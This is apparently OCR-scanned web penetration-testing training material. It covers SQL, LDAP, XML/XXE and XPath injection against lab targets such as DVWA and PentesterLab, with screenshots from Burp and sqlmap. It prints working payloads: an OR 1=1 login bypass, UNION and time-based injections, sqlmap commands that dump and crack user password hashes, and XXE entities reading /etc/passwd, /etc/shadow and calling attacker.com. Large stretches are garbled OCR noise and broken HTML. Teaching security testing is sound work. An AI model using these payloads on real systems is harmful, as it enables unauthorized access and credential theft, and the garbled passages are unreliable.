A similar query is generally used from the web application in order to authenticate a user. If the
query returns a value it means that inside the database a user with that set of credentials exists,
then the user is allowed to login to the system, otherwise access is denied. The values of the input
fields are generally obtained from the user through a web form. Suppose we insert the following
Username and Password values:

$username = cloud’
$password=1'or'l' =
'l The query will be:

SELECT * FROM Users WHERE Username='cloud’” AND Password='1'"OR '1'="1"

After a short analysis we notice that the query returns a value (or a set of values) because the
condition is always true (OR 1=1). In this way the system has authenticated the user without
knowing the username and password.



Request

Raw ParamsTHeaders Hex ViewState]

Response

Raw | Headers | Hex | HTML | Render | ViewState

POST /BasicSearch.aspx?Word= HTTP/Ll.L
Host: aspdotnetapp.infosscaddicts.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X 10.13; rv:68.0) Gecko/201l00101

Firefox/68.0

Accept: text/html,applxcatxon/xhtm1+xm1,appl;catxon/xﬁll,q 0.9,*/%;3=0.8

Accept-Language: en-US,en;
hocept-Encoding: azip, deflate

Referer: https://aspdotnetapp.infosscaddicta.com/BasicSearch.aspx?Word=

Content-Type: application/x-www-form-vrlencoded
Content-Length: 2028
connection: close

Cookie: _ cfduid=dc6029645859a793349b3b819das03f6a1564954288;

_9a=Gal. Z.781573113. 1564954291; auc=4e20d75blécS5ed88ealiSblalaf;

nfosecaddicts.co
1:2; _ stripe_mid=|

__tawkuooid=
BONYBMxdcBhX

AptkfxgPPEGRh88KETQ88wvukfPHURU +589KE £d 82 5w0cn £FQ+ CP-RAY: S04aca83eedbblce-ATL
3f835b-625c-4a04 -8fe8-075cTbbcaTef;

_fbp=£fb.1.1564955153850.417041806; _gid=GAl.2.1223647954.1565405500

Upgrade-Insscure-Requeata: 1
Cache-control: max-age=0

N HTTP/1.1 200 OK

~N Date: Sun, L1 Rug 2019 14:10:07 GHT
content-Type: text/html; charset=utf-8

Connection: cloae

Cache-Control: private

Vary: Boccept-Encoding

X-AspNet-Veraion: 4.0.30319

X-Powerad-By: ASP.NET

Strict-Transport-Security: max-age=0

X-Content-Type-Optiona: nosniff

Expect-CT: max-age=604800,

report-uri="httpa://report-vri.clovdflare.com/cdn-cgi/beacon/expact-ct

Server: cloudflare

>

content-Length: 16068

<{DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//Ew"
“http://vww.wd.org/TR/Xhtrll /DTD/xhtmll-transitional . dtd">

__EVENTTARGET=E__EVENTARGUMENT=E__ VIEWSTATE=%2PwEFDwU JHZHINTUYNDEWD2QWAMYPEBYC AQHPERY <html xmlna="http:/ /wew.wd.org/1999 /xheml">

IAgoPDXYCHgdWaXNp¥mxlaGRkAQaPDXYCHWEOEGOCGRI kP gICAQESKwATAQAPFa0eCERhGPLEX1ZFPghsaC 18 <head>

hSXR1bUNvdWS0AglkFhIMD2QWAMYPFQUWaWLhE2VZLZOXOD1X0EIYT lhHLmpwEz LEbyBub30QQTWF X 8 SENE SE <script asrc="/cdn-cgifappa/head/ckay0PiWGjg9puHUcHTwgIBMEZY. ja"></acript><acript

UaGluayBBIENVbWLvbiPTEWS2z8 SEECHEYb2 P jaCBObYBXSWIQVXNhYM1aaXRIGINOSXE1IEtydWe QYWSKIFT type="3417537229028b3a030d5200-text/ javaacript">

VEZVYIEIaYWNrBiQxMEd ZHWEXEATBD2ZQWAMYPFQUTaWLhE2VZLZE1ODQSXZgX IMpwE ZEBIED LaWR1IHRVIHR. function openwindow()

08SEXaxJlbGvzcyBFbmdpbmvlcmluSyECb2ZRSIGIMIEtubAd biBxawxl AMIFNVbNNGIDN

WL IAWATIKAQIPEBYCS Q! P ng WidfODEvan NhbXMgVGVh¥2 ggwWWd le nN1bGYQVENQLOL window.open( "Search.aspx?Type=" +

OIGIBIDIDIEhvdXazICgUnggRHdelebikPU2PtcyBQdWJaaxNoaHSnBiQle:llMNAEZEAIDDZQWMYPPDU document.getElementById( ' ctl00_ddladvSearch').value + "EW +

TaWlh52VzLzElODU2 XZgxImpws LoxHDEQV2PScyBObyBSSWPabHkgu2FOa b3vyIENlc3 document.getElementById( ' ctl00_txtSearchDONESS ').value +

QSGIITHRVIELLS XAQWWI 1o iBDd XN0b2 11 nMg¥YWSKIEPOdH ThY30QTmMV3 TES 15 XHNOWX a5 W g.L\.BVbndpng raturn falsae;

kM JELMDABNGOCEAIKFQIMDXUPE2Z 1t YWd 1oy 8xNTQLlH 184 HS5gcGe SUHTh YIRpY 2P IEXPEMVY Y XKEIEphdmE }

9¥MFZEWIgUGIYdGPaIEPwCGxpY2P0aWI ucYBES X8 1bGIwbRVudASECH T 1o 3HGIDIOL JAwATVkAQUPEBYCE QS <fscript>

VBRNpbWEN & XMVHTU4 Nod £00Eu anBnQEhvd yBObyB0aGVhdCBpb iBBEGY 16 SEGbGPZaCBOUZQ6 IFROE SBhe nd <title>

gb2¥g8GVzawdu IGPuSCEBhbmltYXRpb24 LRMY j¥WwgUHI1c INGIDE LL JAwATE KAQYPEEYC 8 gSVBRNPbWEN 8 XK Basic Search Page

VHTU4Mzd fODEDanBnikNvbXBas XR1IFEDQiBES XNpE 24 gVXNpbme gT3 J0QUQQQ2 Pwd HVY & SBhbmQQUENC IEV <ftitle»<link href="atyle.cas" rel="atylesheet" type="text/caa" />

kaXRve 9808 Xd u 8 XMGIDEY L JAwATd khgo PEBYC § gSVBRNPbWEN 8 XHVHTU4 K 35 £0DED anBn SERyd XBhbCAZ IFR </head>

08W11lczogR3d T1¥XR1IG51dyB0aGVEE XMgEmIy IH 1vd XIgRH T LeGPaI0Y go 2105 SB3 aXRoIGNBSWFL IGXh eWd <body>

ldcBhbmQgoG938 XImd WwgQ LNT IHNOeWxpbmcQUGF ja30gUHVibGlzaGloSwYkNTUUNDABOGQCCAI kFgImDxy <form method="poat" action="./BasicSearch.aapx?Word=" onaobmit="if

FE21+YWd 1oy SxXNTgwOvSd HS5geGebVGh1IEFPa529yaXRODSBES XNpE 24 QTRPud WP AC PHwemlu 5 2 VyBigxeid (lwindow.__cfRLUnblockHandlers) return falae; javascript:return 9

IMAESEATLOXYCHg1pbmSlomh ObWreD 1d1bGNVbRY 983 V1c 309IHOTAQY 6X 19Db250omIze LTle Xvpemvaban v WebFozm C\nsubmit[]," id "fozml" data-cf-modified-3417537229e28b3a030d5200 v
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Books Search Book Deta

Advanced Search

Book name:

Knowmore

SOAP is a simple XML-based protocol
to let applications exchange
information over HTTP.

Read More

B "n-rr-wy( 'suggestions
oo

Book nama:

PGS NGOEIRNG e ndustry's

for

Swewe Kag Al of the tips, techniques, and examples presented revolve
around users being able to swf menily through a test Releases & News
- well-designed site with minimal cognitive strain, Readers will
Title v S quickly come to agree with many of the book's assumptions, July 21st, 2009
.I " such as "We don't read pages--we scan them" and "We don't
figure out how things work--we muddle through." Coming to
grips with such hard Facts sets the stage for Web design that
then produces topnotch sites,

Don't Make Me Think! A Common Sense Approach to Web

Usability
A|B|C|D|E|F |G

Author:
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O|P|Q|R|S|T|U Publication:

{ Que; 1st edition (October 23, 2000)

Y (W|X|Y |2

ISBN:
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NOTE:
Search your books & Pages:
authors by the first name

Price:
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Book Detail created to accomplish this.
e

The information presented in this book reflects the evolution
of wireless technologies, their impact on the profession, and
commonly  accepted  best  practices,
Complerented with a large number of references and

further reading,

indispensable resource for anyone working in the wireless
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Error-Based SQL Injection



|

' ERROR-BASED SQL INJECTION |

ll T

Web Server Web Application Server Database Server

An Error based exploitation technique is useful when the tester for some reason can’t exploit the
SQL injection vulnerability using other technique such as UNION. The Error based technique
consists in forcing the database to perform some operation in which the result will be an error. The
point here is to try to extract some data from the database and show it in the error message. This
exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

INFORMATION

® Server Name

« Server: 127.0.0.1 via TCP/IP

» Software: MySQL

» Software version: 5.5 27 - MySQL Community Server (GPL)
* Protocol version: 10

HOSt Name « User. root@localhost
* Server charset: UTF-8 Unicode (utf8)
Tables

Columns




Target: https:/ /aspdotnetapp.infosecaddicts.com |#] | 2]

Go Cancel <|v >|r
Request Response
Parlrls | Headers | Hex | viewstate | Raw | Headers HTML | Render | Viewstate
POST request to /bookdetail.aspx A
— i
[Type | Name [ value | [ aaa Books Forever a
URL id 1" union select null,user() w
Cookie __cfduid dc60. 1 Pp—
| Cookie _ga GA1.2.781573113.1564954291 L
Cookie auc 4e20d75b16c5e988eal35hlalaf —
— u
| cookie " tawkuuid ezinfosecaddicts.com:AptkfxgFF6GWh8S... L Book Detail
Cookie stripe_mid b53f835b-625c-4a04-8fe8-075c7bbcazcf | [ oo
—stripe_{ Down
\ Cookie _fbp fb.1.1564955153850.417041806 ;J @
Cookie “gid GA1.2.1223647954.1565405500 L Senkig Lat
| Body __EVENTTARGET
Body __EVENTARGUMENT
| Body __VIEWSTATE /WEPDWUJMzUZOTgwMzQOD2QWAMYPZB... v
Body __VIEWSTATEGENERATOR 6DCACA49F v
| Body ctlo0StxtSearch =
Body ctl00StxtSearchDOMXSS
| Body ctloosddIAdvSearch Publication
Body ctl00SibSearchDOMXSS x 16 Book name:
| Body ctlo0SibSearchDOMXSS.y 8
Body ctl00StxtNewsEmail
Author:
Note:
June
Publication:

Body encoding: application/x-www-form-urlencoded

Done

1’ union select null,user()

Server Error in

13,000 bytes | 107 millis

Application.

Unclosed quotation mark after the character string ' union null,user()'.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ' union null user()".

Source Error:

= new SqglDataAdapter("SELECT * FROM BOOKMASTER WHERE BOOKID=" + bookid, mycon);

new DataSet();

Line 191: SqlDataAdapter myAd
Line 192: DataSet dsResult =
Line 193: myAd.Fill(dsResult);
Line 194: return dsResult;

Line 195: }

Source File: cli )_Ci .cs  Line: 193
Stack Trace:

[SqlException (0x80131904): Unclosed quotation mark after the character string

union null,user()’'.]

System.Data.SglClient.SglConnection. OnError(SqlExceptxcn exception, Boolean breakConnection, Action™1 wrapCloseInAction) +3306108

System.Data.SqlClient.TdsParser.Th:

AndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)

System.Data.SqlClient.TdsParser. ’I‘ryRun(RunBehavxor runBehavior, SglCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bull

Data() +90

System.Data.SqglClient.SglDat

System.Data.SqlClient.SqlDataReader.get_MetaData() +99
System.Data.SglClient. SqlCommand Fini

. TryC

System.Data.SqlClient.SqlCs

System.Data.SqglClient.SqlCs

System.Data.SglClient.SqlCs

System.Data.SqglClient.SqlC
System.Data.Common.DbDaté¢ F-lrefox
System.Data.Common.DbDate ___

der (SqlDat d ds, havior runBehavior, String resetOptionsString, Boolean isInternal
Tds (C d ior dBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean asy:!
der (C: ior dBehavior, RunBehavior r ior, Boolean returnStream, String method,
der (C ior dBehavior, RunBehavior r ior, Boolean returnStream, String method)
.Execu der (C d ior behavior, String method) +301

+FillInternal (DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable,

__.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBeha:




Request Response
Params | Headers | Hex | Viewstate | Raw | Headers | Hex | HTML | Render | viewstate
POST request to /bookdetail.aspx
. i |
| Type | Name | Value Add Books Forever a
URL id 1' order by 3 E
Cookie __cfduid dc6029645e59a793349b3b819dae03f6e... | | Remove
Cookie _ga GA1.2.781573113.1564954291 ey
Cookie auc 4e20d75b16c5e988eal35blalaf
-, U -
Cookie " tawkuuid esimfosecaddicts com-AptiixgFFewhss... | 22 Book Detail
Cookie stripe_mid b53f835b-625¢-4a04-8fe8-075c7bbcazcf | [ oo
—stripe_ Do
Cookie “fop fb.1.1564955153850.417041806 (-Down | (obieaon )|
Cookie _gid GA1.2.1223647954.1565405500 Se Kag I
Body __EVENTTARGET
Body __EVENTARGUMENT ard
Body __VIEWSTATE /WEPDWUJMzUZOTgwMzQOD2QWAMYPZB...
Body __VIEWSTATEGENERATOR 6DCACA49F
Body ctl00StxtSearch e
Body ctl00S$txtSearchDOMXSS
Body ctl00sddIAdvSearch Publication
Body ctl00SibSearchDOMXSS.x 16 Book name:
Body ctl00SibSearchDOMXSS.y 8
Body ctl00$txtNewsEmail
Author:
Note:
rame
Publication:

Radv i

1’ order by 3#

Server Error in '/' Application.

e —

Unclosed quotation mark after the character string ' order by 3'.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SalClient.SglException: Unclosed quotation mark after the character string ' order by 3'.

Source Error:

Line 191: SqlDataAdapter myAd = new SqlDataAdapter("SELECT * FROM BOOKMASTER WHERE BOOKID=" + bookid, mycon);
Line 192: DataSet dsResult = new DataSet();

Line 193: myAd.Fill (dsResult);

Line 194: return dsResult;

Line 195: }
Source File: c:li \pp_C .cs  Line: 193
Stack Trace:

[SqlException (0x80131904): Unclosed quotation mark after the character string

order by 3'.]

System.Data.SglClient.SglConnection.OnError (SqlException exception, Boolean breakConnection, Action”1 wrapCloseInAction) +3306108

System.Data.SglClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)
System.Data.SglClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SglDataReader dataStream, BulkCopySimpleResultSet bull
System.Data.SglClient.SglDataReader.TryConsumeMetaData() +90

System.Data.SglClient.SglDataReader.get_MetaData() +99

System.Data.SglClient.SglCommand.FinishExecuteReader (SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString, Boolean isInterna
System.Data.SglClient.SglCommand.RunExecuteReaderTds (CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean asy:
System.Data.SglClient.SqlCommand.RunExecuteReader (CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method,
System.Data.SglClient.SglCommand.RunExecuteReader (CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method)
System.Data.SglClient.SglCommand.ExecuteReader (CommandBehavior behavior, String method) +301
System.Data.Common.DbDataAdapter.FillInternal (DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable,
System.Data.Common.DbDataAdapter.Fill (DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBeha















Boolean-based SQL.i

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection
situation, in which nothing is known on the outcome of an operation. For example, this behavior
happens in cases where the programmer has created a custom error page that does not reveal
anything on the structure of the query or on the database. (The page does not return a SQL error,
it may just return a HTTP 500, 404, or redirect).

The tests that we will execute will allow us to obtain the value of the username field, extracting
such value character by character. This is possible through the use of some standard functions,
present in practically every database. We will use the following pseudo-functions:

SUBSTRING (text, start, length) : returns a substring starting from the position "start" of text and
of length "length". If "start" is greater than the length of text, the function returns a null value.

ASCII (char) : it gives back ASCII value of the input character. A null value is returned if

char is 0. LENGTH (text) : it gives back the number of characters in the input text.

Time-based SQLi

The Boolean exploitation technique is very useful when the tester find a Blind SQL Injection
situation, in which nothing is known on the outcome of an operation. This technique consists in
sending an injected query and in case the conditional is true, the tester can monitor the time taken
to for the server to respond. If there is a delay, the tester can assume the result of the conditional
query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS
specific section).



Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product



Consider also the request to a script who executes the query

above: http://www.example.com/product.php?id=10

The malicious request would be (e.g. MySql 5.x):
http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10),

‘false’))--

In this example the tester if checking whether the MySql version is 5.x or not, making the server
to delay the answer by 10 seconds. The tester can increase the delay time and monitor the
responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high
value (e.g. 100) and cancel the request after some seconds.

Applications ¥ Places ~ "~Terminal ¥ Tue 10:30

root@kali: ~

File Edit View Search Terminal Help

:~# sqlmap -u "http://192.168.222.136/dvwa/vulnerabilities/sqli blind/?id=1&Su
bmit=Submit" --cookie="security=low; dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advanceds
tuff=0-,1-,2-; security level=0; remember_ token=Stu37BrvdLCcPfSwaD7x4g; PHPSESSID=gtavc
d6hjpogvknp2krbjndvud; acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=
nada; JSESSIONID=35ABD887923A100D6511E015022983BE" --dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consen
t is illegal. It is the end user's responsibility to obey all applicable local, state a
nd federal laws. Developers assume no liability and are not responsible for any misuse
or damage caused by this program

[*] starting at 10:29:49

sqglmap resumed the following injection point(s) from stored session:
Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1' AND 9399=9399 AND 'iWPS'='iWPS&Submit=Submit




[10:29:50] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.12

[10:29:50] [WARNING] reflective value(s) found and
Elvailable databases [2]:

[*] dvwa

[*] information schema

:~# sqlmap -u "http://192.168.222.136/dvwa/vulnerabilities/sqli_blind/?id=1&Su
bmit=Submit" --cookie="security=low; dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advanceds
tuff=0-,1-,2-; security level=0; remember token=Stu37BrvdlLCcPfSwaD7x4g; PHPSESSID=gtavc
d6hjpoqvknp2krbjndvuéd; acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=
nada; JSESSIONID=35ABD887923A100D6511E015022983BE" -D dvwa --tables

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consen
t is illegal. It is the end user's responsibility to obey all applicable local, state a
nd federal laws. Developers assume no liability and are not responsible for any misuse

or damage caused by this program

[*] starting at 10:31:30

[10:31:30] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.12

[10:31:30] [WARNING] reflective
Database: dvwa
[2 tables]

guestbook

:~# sqlmap -u "http://192.168.222.136/dvwa/vulnerabilities/sqli blind/?id=1&Su
bmit=Submit" --cookie="security=low; dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-8advanceds
tuff=0-,1-,2-; security level=0; remember token=Stu37BrvdLCcPfSwaD7x4g; PHPSESSID=gtavc
déhjpoqvknp2krbjndvud; acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=
nada; JSESSIONID=35ABD887923A100D6511E015022983BE" -T users --column




Database: dvwa
Table: users
[6 columns]

varchar(15)
avatar varchar(70)
first_name varchar(15)
last_name varchar(15)
password
user_id

:~# sqlmap -u "http://192.168.222.136/dvwa/vulnerabilities/sqli blind/?id=1&Su
bmit=Submit" --cookie="security=low; dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advanceds
tuff=0-,1-,2-; security level=0; remember token=Stu37BrvdLCcPfSwaD7x4g; PHPSESSID=gtavc
d6hjpoqvknp2krbjndvud; acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=
nada; JSESSIONID=35ABD887923A100D6511E015022983BE" -C user,password --dump

do you want to store hashes to a temporary file for eventual further processing with ot
her tools [y/N] N

do you want to crack them via a dictionary-based attack? [Y/n/q] Y

what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file

[3] file with list of dictionary files
|

do you want to use common password suffixes? (slow!) [y/N]




Database: dvwa

Table: users

[6 entries]
B A +

password

_____________________________________________ +

charley)

8d3533d75ae2c3966d7e0d4fcc69216b (

21232f297a57a5a743894a0e4a801 fc3 (
gordonb e99a18c428cb38d5f260853678922e03 (abcl23)

pablo (

(

(

smithy

0d107d0Sf5bbed4fcade3de5c71e8eSh7 (letmein)
5f4dcc3b5aa765d61d8327deb882c f99 (password)
eellcbbl9052e40b07aacfcalbic23ee (user)

——  —

6. Testing for LDAP Injection

The Lightweight Directory Access Protocol (LDAP) is used to store information about users, hosts,
and many other objects. LDAP injection is a server side attack, which could allow sensitive
information about users and hosts represented in an LDAP structure to be disclosed, modified, or
inserted. This is done by manipulating input parameters afterwards passed to internal search, add,
and modify functions.

A web application could use LDAP in order to let users authenticate or search other users'
information inside a corporate structure. The goal of LDAP injection attacks is to inject LDAP
search filters metacharacters in a query which will be executed by the application.

Boolean conditions and group aggregations on an LDAP search filter could be applied by using
th
e following metacharacters.

Metachar Meaning
& Boolean AND
| Boolean OR
! Boolean NOT
= Equals
~= Approx
== Greater than
<= Less than
X Any character

0 Grouping parenthesis



A successful exploitation of an LDAP injection vulnerability could allow the tester to:



e Access unauthorized content

e Evade application restrictions

e  Gather unauthorized information

e Add or modify Objects inside LDAP tree structure

How to test

Example test: Login

< > C @ ® 192.168.222.156/dap/example2.php?name=hacker&,

PentesterLab.com Home

AUTHENTICATED as hacker
© PentesterLab 2013

< > C ® "’(D 192.168.222.156/Idap/example2.php?name=g|Gl[Ha(@EE TR & password =hacker

PentesterLab.com Home

AUTHENTICATED as hacker
© PentesterLab 2013

< c @ ® 192.168.222.1 56/Idap/example2.php?name=*)@(objectCIass:*)&password:hacker

PentesterLab.com Home

UNAUTHENTICATED
© PentesterLab 2013

Two inverse query resulted in different
response. Retest with Vulnerabilities

Scanner



Issues

! LDAP injection

1 Input returned in response (reflected) [4]

1 Cross-domain Referer leakage [2]

1 Browser cross-site scripting filter disabled [2]
1 Email addresses disclosed [2]

i Frameable response (potential Clickjacking) [2]

yvyvwyyvyy
e e e e

_[ Advisory T Request 1 TResponse 1 T Request 2 TResponse 2 ]

A
1\
' LDAP injection [ Compare responses

Issue: LDAP injection
Severity: High
Confidence: Firm

Host: http://192.168.222.156
Path: /ldap/example2.php /
Issue detail

The name parameter appears to be vulnerable to LDAP injection attacks.

The payleads *)(objectClass=" and *)(!(objectClass=") were each submitted in the name parameter.
These two requests resulted in different responses, indicating that the input may be being incorporated into
a conjunctive LDAP query in an unsafe manner.

7. Testing for XML Injection

XML Injection testing is when a tester tries to inject an XML doc to the application. If the XML
parser fails to contextually validate data, then the test will yield a positive result.

How to Test

Discovery : the first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters.

XML metacharacters are:

e Single Quote: * — when not sanitized, this character could throw an exception during XML
parsing, if the injected value is going to be part of an attribute value in atag.

e Double Quote: ” — this character has same meaning as single quote and it could be used if the
attribute value is enclosed in double quotes.

e Angular parentheses: > and <



C @ ‘(i) 192.168.222.156/xml/example1.php?xmi= < test> hackerf </test> v o @ ﬁr‘ Search

PentesterLab.com Home

Hello Warning: simplexml_load_string(): Entity: line 1: parser error : StartTag: invalid element name in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): hacker< in
Nvariwww/xml/example1.php on line 4 Warning: simplexml_load_string(): * in /var/vww/xml/example1.php on line 4
© PentesterLab 2013

e Comment tag: <!-- - this sequence of characters is interpreted as the beginning/end of a comment.

c Q ® 192.168.222.156/xml/example1.php?xml= <test>hacker<!--</test> e QO W Search

PentesterLab.com Home

Hello Warning: simplexml_load_string(): Entity: line 1: parser error : [N R EINNEES in /varwww/xml/example1.php on line 4 Warning: simplexml_load_string(): hacker

e Ampersand: &amp; - the ampersand is used in the XML syntax to represent entities. The format of
an entity is ‘&amp;symbol’.

& Q @® 192.168.222.156/xml/example1.php?xmi= <test>&amp;hacker< /test> v O W

PentesterLab.com Home

Hello Warning: simplexml_load_string(): Entity: line 1: parser error : Premature end of data in tag test line 1 in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): in
Nvariwww/xml/example1.php on line 4 Warning: simplexml_load_string(): * in /var/www/xml/example1.php on line 4
© PentesterLab 2013

o CDATA section delimiters: <!|[CDATA[ / ]]> - CDATA sections are used to escape blocks of text
containing characters which would otherwise be recognized as markup. In other words, characters

enclosed in a CDATA section are not parsed by an XML parser.
<I[CDATA[<]]>script<![CDATA[>]]>alert('xss")<![CDATA[<]]>/script<![CDATA[>]]>

During the processing, the CDATA section delimiters are eliminated, generating the xss code.

External Entity

The set of valid entities can be extended by defining new entities. If the definition of an entity is a
URI, the entity is called an external entity. Unless configured to do otherwise, external entities
force the XML parser to access the resource specified by the URI, a file on the local machine or
on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks,
which can be used to perform denial of service of the local system, gain unauthorized access to
files on the local machine, scan remote machines, and perform denial of service of remote system.

To test for XXE vulnerabilities, on can use the following input:
<?xml version="1.0" encoding="1SO-8859-1"?>
<IDOCTYPE foo [
<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>



This test could crash the web server (on a UNIX system), if the XML parser attempts to
substitute

e entity with the contents of the /dev/random file.

Other useful tests are the following:

<?xml version="1.0" encoding="1SO-8859-1"?>

th



<IDOCTYPE foo [

<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="1SO-8859-1"7>

<IDOCTYPE foo [

<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="1SO-8859-1"7>

<IDOCTYPE foo [

<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="1SO-8859-1"7>

<IDOCTYPE foo [

<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>



Fs{ tp://192.168.222.156 GET ixmi/example1.php?xmi=%3C'DOCTYPE... v 200 2719 HTML
«

phe PentesterLab 8raquo; W... 192.168.222.156
J D
Request | Response

[ Raw | Params | Headers | Hex

GET request to /xmilexample1 php

[Type [ Name Value
‘ URL xml <DOCTYPE foo [<ENTITY xxe SYSTEM “fie:/letclpasswd'> J><test-hacker &xxe;<test>

1621 | httpi/192.168.222.186 GET php? CDOCTYPE.. 200 2718 HTML php PentesterLab &raquo; W... 192.168.222.186

16€ hitps:/ishavar services mozila.c.. POST /downloads?client=navclient-auto-ffox.. v/ 200 205 text v 50112201212

= -

Reguest | Response

Raw | Headers | Hex | HTML | Render

PentesterLab.com
« Home

Hello hacker root:z:0:0. rnnt Jroot:/bin/bash daemon:z:1:1:daemon:/ust/sbin:/bin/sh bin:z:2:2:bin/bin/bin/sh sys:z:3:3:sys/dev/bin/sh sync:z4:65534:sync:/bin/bin/sync games:z:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/ Moin/sh 1p:z7:71p:/ poollpd:/bin/sh mailz:8:8:mail:/var/mail /bin/sh news:x:0:9:news:/var/spool/news:/bin/sh uucp:z:10:10:uucp:/var/spooluucp:/bin/sh prozy:x:13:13:proxy:/bin:/bin/sh
www-data:z:33:33:www-data:/var/www:/bin/sh backup:z: 34 34:backup:/var/backups:/bin/sh list:z:38:38 Mailing List Manager:/var/list:/bin/sh irc:z:39:3%:ircd:/var/mun/ircd:/bin/sh gnats:z:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/monexistent:/bin/sh libuuid:z:100:101::/var/liblibuuid:/bin/sh mysqlz:101:103MySQL Server,,,/var/lib/mysql:/bin/false sshd:z:102:65534:/var/run/sshd:/ust/sbin/nologin
openldap:x:103:106:0penLDAP Server Account,,,:/var/lib/ldap:/bin/false user:z:1000:1000:Debian Live user,,, /home/user:/bin/bash

© PentesterLab 2013



8. Testing for XPath Injection

XPath is a language that has been designed and developed primarily to address parts of an XML
document. XML databases that organize data using the XML language. XPath is very similar to
SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the

same logic as SQL injection attacks.

How to Test

e Refer: SQL injection Authentication Bypass

Test Example

©) Login page - Mozilla Firefox

File Edit View History Bookmarks Tools Help

@ > C X 4O \lj | hitp:{192.168.1.105/BookApp/login.aspx 77 -

8] Most visited ’ Getting Started 5 | Latest Headlines

@ Books Forever [ ™Y

Home Login Contact

Welcome guest !

Books Search LO_!_] in here

User name|
Password:

Latest Releases & News

Tite v ey Lo, July 21st, 2009
New User o
Advanced Search This is a template
designed to explore
web services (SOAP)
attacks,
[| SOAP is a simple
[E—
Filter: Hiding CSS, image and general binary content
| Host | Method | URL | Para... v | Edited |Status | Length | MIMEtype | Extension | Title | Comment |SsL | IP
napsTT INTOSECanaIcts.com POST JBASTCSEArcnaspx’wora= v 307 B97 HT™MLC aspx Upjecrmoven v T
https://aspdotnetapp.infosecaddicts.com GET /BasicSearch.aspx?Word=hellp!!! v 200 16778 script aspx Basic Search Page v 1
https://aspdotnetapp.infosecaddicts.com POST /BasicSearch.aspx?Word= v 302 697 HTML aspx Object moved v 1
https:/ /aspdotnetapp.infosecaddicts.com POST /BasicSearch.aspx?Word= v v 500 5003 HTML aspx A potentially dangero... v 1
https://aspdotnetapp.infosecaddicts.com GET /BasicSearch.aspx?Word= v 200 16470 HTML aspx Basic Search Page v 1
https://aspdotnetapp.infosecaddicts.com POST /BasicSearch.aspx?Word= v 200 16525 HTML aspx Basic Search Page v 1
https://aspdotnetapp.infosecaddicts.com POST /bookdetail.aspx?id=1 v 200 12968 HTML aspx Book Detail Page v 1
https:// d inf addicts.com POST /login.aspx v 200 13483 HTML aspx Login page v 1
https://aspdotnetapp.infosecaddicts.com POST /login.aspx v 200 13483 HTML aspx Login page v 1
https://phpapp.infosecaddicts.com GET /cdn-cgi/apps /head/ckgyOPiWGjg... 304 711 script is v 1
https://phpapp.infosecaddicts.com GET Jcdn-cgi/scripts /5c5dd728/cloud... 304 520 script is v 1
